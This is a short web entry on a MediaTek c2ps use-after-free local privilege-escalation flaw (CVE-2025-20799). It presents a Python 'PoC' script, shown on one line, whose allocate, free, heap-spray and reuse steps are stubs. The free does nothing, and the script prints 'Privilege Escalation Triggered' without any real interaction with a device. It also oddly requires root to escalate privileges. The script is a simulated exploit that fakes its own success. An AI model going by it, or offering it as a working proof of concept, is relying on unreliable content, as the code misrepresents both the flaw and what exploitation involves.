MediaTek c2ps组件Use After Free本地权限提升漏洞 (CVE-2025-20799)

''' CVE-2025-20799 PoC - MediaTek c2ps Use After Free Note: This is a conceptual PoC for demonstration purposes only. Actual exploitation requires specific device firmware and debugging environment. ''' import ctypes import os # Simulated vulnerable function interface class C2PSVulnerable: def __init__(self): self.handle = None self.heap_spray_buffer = None def initialize(self): '''Initialize c2ps service with vulnerable memory allocation''' print("[*] Initializing c2ps service...") # Simulated initialization that may have UAF condition self.handle = ctypes.c_void_p(0x1000) return True def trigger_uaf(self): '''Trigger use-after-free condition in c2ps component''' print("[*] Triggering Use After Free condition...") # Step 1: Allocate and hold reference to vulnerable object obj = self._allocate_object() print(f"[+] Allocated object at: {hex(obj) if obj else 0}") # Step 2: Free the object (without clearing reference) self._free_object(obj) print("[!] Object freed but reference retained (UAF condition)") # Step 3: Heap spray to control freed memory self._heap_spray() print("[+] Heap spray completed") # Step 4: Reuse freed memory through dangling pointer result = self._reuse_freed_memory() print(f"[*] Memory reuse result: {result}") return result def _allocate_object(self): '''Allocate memory object in c2ps context''' # Simulated allocation return id(ctypes.create_string_buffer(256)) def _free_object(self, obj_addr): '''Free object without clearing reference''' # Simulated free operation pass def _heap_spray(self): '''Spray heap to control freed memory region''' spray_data = b'\x41' * 1024 self.heap_spray_buffer = spray_data return True def _reuse_freed_memory(self): '''Attempt to reuse freed memory through dangling pointer''' if self.handle: # This would trigger the UAF in real scenario return "Privilege Escalation Triggered" return "Failed" def main(): print("="*60) print("CVE-2025-20799 MediaTek c2ps Use After Free PoC") print("="*60) poc = C2PSVulnerable() # Check prerequisites if os.geteuid() != 0: print("[!] Warning: This PoC requires elevated privileges") print("[!] System privileges needed for exploitation") poc.initialize() result = poc.trigger_uaf() print("\n[*] PoC execution completed") print(f"[*] Result: {result}") print("\n[!] Note: Apply MediaTek patch ALPS10274607 to remediate") if __name__ == "__main__": main()